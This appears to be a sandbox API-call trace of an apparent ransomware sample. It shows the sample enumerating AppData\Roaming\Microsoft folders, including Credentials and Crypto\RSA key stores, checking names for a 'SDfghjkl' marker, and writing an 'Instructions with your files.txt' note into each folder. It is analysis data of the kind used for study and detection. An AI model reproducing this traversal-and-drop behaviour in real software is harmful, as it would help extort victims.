[0131.295] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.295] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\..") returned 62
[0131.295] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.295] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c36290, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x7c36290, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x7c36290, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddIns", cAlternateFileName="")) returned 1
[0131.295] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns") returned 66
[0131.295] GetProcessHeap () returned 0x810000
[0131.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.296] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\*") returned 68
[0131.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c36290, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x7c36290, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x7c36290, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.297] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\.") returned 68
[0131.297] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c36290, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x7c36290, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x7c36290, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.297] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\..") returned 69
[0131.297] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c36290, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x7c36290, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x7c36290, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.297] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\Instructions with your files.txt") returned 99
[0131.297] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\addins\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.297] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.298] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.298] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.298] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.298] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.298] CloseHandle (hObject=0x118) returned 1
[0131.298] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.299] GetProcessHeap () returned 0x810000
[0131.299] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.299] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1
[0131.299] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials") returned 71
[0131.299] GetProcessHeap () returned 0x810000
[0131.299] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.299] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\*") returned 73
[0131.299] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.299] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\.") returned 73
[0131.299] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.299] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.299] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\..") returned 74
[0131.299] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.299] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.299] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\Instructions with your files.txt") returned 104
[0131.299] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\credentials\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.300] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.300] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.301] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.301] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.301] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.301] CloseHandle (hObject=0x118) returned 1
[0131.301] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.301] GetProcessHeap () returned 0x810000
[0131.301] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.301] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1
[0131.301] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto") returned 66
[0131.301] GetProcessHeap () returned 0x810000
[0131.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.301] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\*") returned 68
[0131.301] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.302] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\.") returned 68
[0131.302] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.302] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.302] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\..") returned 69
[0131.302] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.302] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1
[0131.302] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned 70
[0131.302] GetProcessHeap () returned 0x810000
[0131.302] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.303] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*") returned 72
[0131.303] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.303] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\.") returned 72
[0131.303] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.303] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.303] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\..") returned 73
[0131.303] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.303] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
[0131.303] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 117
[0131.303] GetProcessHeap () returned 0x810000
[0131.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.304] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*") returned 119
[0131.304] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.306] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\.") returned 119
[0131.306] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.306] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.306] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\..") returned 120
[0131.306] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.306] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xa1e34990, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="83AA4C~1")) returned 1
[0131.306] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 187
[0131.306] StrStrIW (lpFirst="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpSrch="SDfghjkl") returned 0x0
[0131.306] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x57, dwReserved0=0x0, dwReserved1=0x0, cFileName="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="932A2D~1")) returned 1
[0131.306] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 187
[0131.306] StrStrIW (lpFirst="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpSrch="SDfghjkl") returned 0x0
[0131.307] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xb0aa1fc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0aa1fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0aa1fc0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="FDA992~1")) returned 1
[0131.307] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 187
[0131.307] StrStrIW (lpFirst="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpSrch="SDfghjkl") returned 0x0
[0131.307] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xb0aa1fc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0aa1fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0aa1fc0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="FDA992~1")) returned 0
[0131.307] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Instructions with your files.txt") returned 150
[0131.307] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-3388679973-3930757225-3770151564-1000\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.307] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
